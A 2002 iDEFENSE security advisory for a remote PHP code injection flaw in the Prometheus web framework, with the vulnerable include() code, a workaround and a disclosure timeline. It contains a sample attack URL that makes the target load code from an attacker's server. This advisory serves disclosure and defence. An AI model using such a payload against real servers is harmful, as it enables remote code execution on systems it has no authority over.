

## Prometheus Application Framework Code Injection

iDEFENSE Security Advisory 10.31.02:

### I. BACKGROUND

Jason Orcutt's Prometheus is a web application framework written in PHP. It is available at <http://prometheus.zerodivide.net>.

### II. DESCRIPTION

A remote attacker can inject into Prometheus arbitrary PHP code that executes under the privileges of the underlying web server. The crux of the problem lies in the following snippet of code extracted from the top of `prometheus-library/all.lib`:

```
if ( ! isset( $PROMETHEUS_LIBRARY_BASE ) ||
$PROMETHEUS_LIBRARY_BASE == '' ) {
    $PROMETHEUS_LIBRARY_BASE = './prometheus-library';
}

if ( ! isset( $PHP_AUTO_LOAD_LIB ) ) {
    $PHP_AUTO_LOAD_LIB = 0;
}

if ( ! isset( $PROMETHEUS_LIB_PATH ) ) {
    $PROMETHEUS_LIB_PATH = 0;
}

if ( $PHP_AUTO_LOAD_LIB == 0 ) {
    include( $PROMETHEUS_LIBRARY_BASE . '/autoload.lib' );
}

if ( $PROMETHEUS_LIB_PATH == 0 ) {
    include( $PROMETHEUS_LIBRARY_BASE . '/prometheus-
lib.path' );
}
```

An attacker could force the application to load a tainted version of `autoload.lib` and `prometheus-lib.path` that contains arbitrary PHP code from a remote server by setting `PHP_AUTO_LOAD_LIB` to "0" and `PROMETHEUS_LIBRARY_BASE` to the address of the remote server. The following scripts can be targeted in this attack because `all.lib` is included without any filtering:

- `index.php`
- `install.php`
- `test_*.php`

The following is a sample attack URL that would cause "target.server" to load `autoload.lib` and `prometheus-lib.path` from "attackers.server".

```
http://target.server/prometheus-
all/index.php?PROMETHEUS_LIBRARY_BASE=http://attackers.ser
ver/&PHP_AUTO_LOAD_LIB=0
```

### III. ANALYSIS

Remote exploitation allows an attacker to execute arbitrary commands and code under the privileges of the web server. This also opens the door to privilege escalation attacks.

### IV. DETECTION

iDEFENSE has verified that Prometheus 6.0 is vulnerable. Versions 3.0-beta and 4.0-beta are also reportedly vulnerable. Other earlier versions may be vulnerable as well. To determine if a specific

implementation is vulnerable, experiment with the above-described attack.

## **V. WORKAROUND**

- First, locate the files that make dangerous calls to include(). The following sample command line accomplishes this:

```
$ grep -n all.lib * -r | grep _BASE
index.php:23:include( $PROMETHEUS_APP_BASE . '/prometheus-
library/all.lib' );
scripts/view_theme.php3:6:include(
$PROMETHEUS_LIBRARY_BASE . '/all.lib' );
```

- Next add the following line above the calls to include():

```
$PROMETHEUS_LIBRARY_BASE = './prometheus-library';
```

This should prevent attackers from arbitrarily setting the PROMETHEUS\_LIBRARY\_BASE variable to point to a remote location.

## **VI. CVE INFORMATION**

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project assigned the identification number CAN-2002-1211 to this issue.

## **VII. DISCLOSURE TIMELINE**

|            |  |
|------------|--|
| 09/28/2002 | Issue disclosed to iDEFENSE                          |
| 10/14/2002 | Author notified via e-mail to zerodiv@zerodivide.net |
| 10/14/2002 | iDEFENSE clients notified                            |
| 10/14/2002 | Response received from zerodiv@zerodivide.net        |
| 10/31/2002 | Coordinated public disclosure                        |

## **VIII. CREDIT**

Karol Wiesek (appelast@bsquad.sm.pl) is credited with discovering this vulnerability.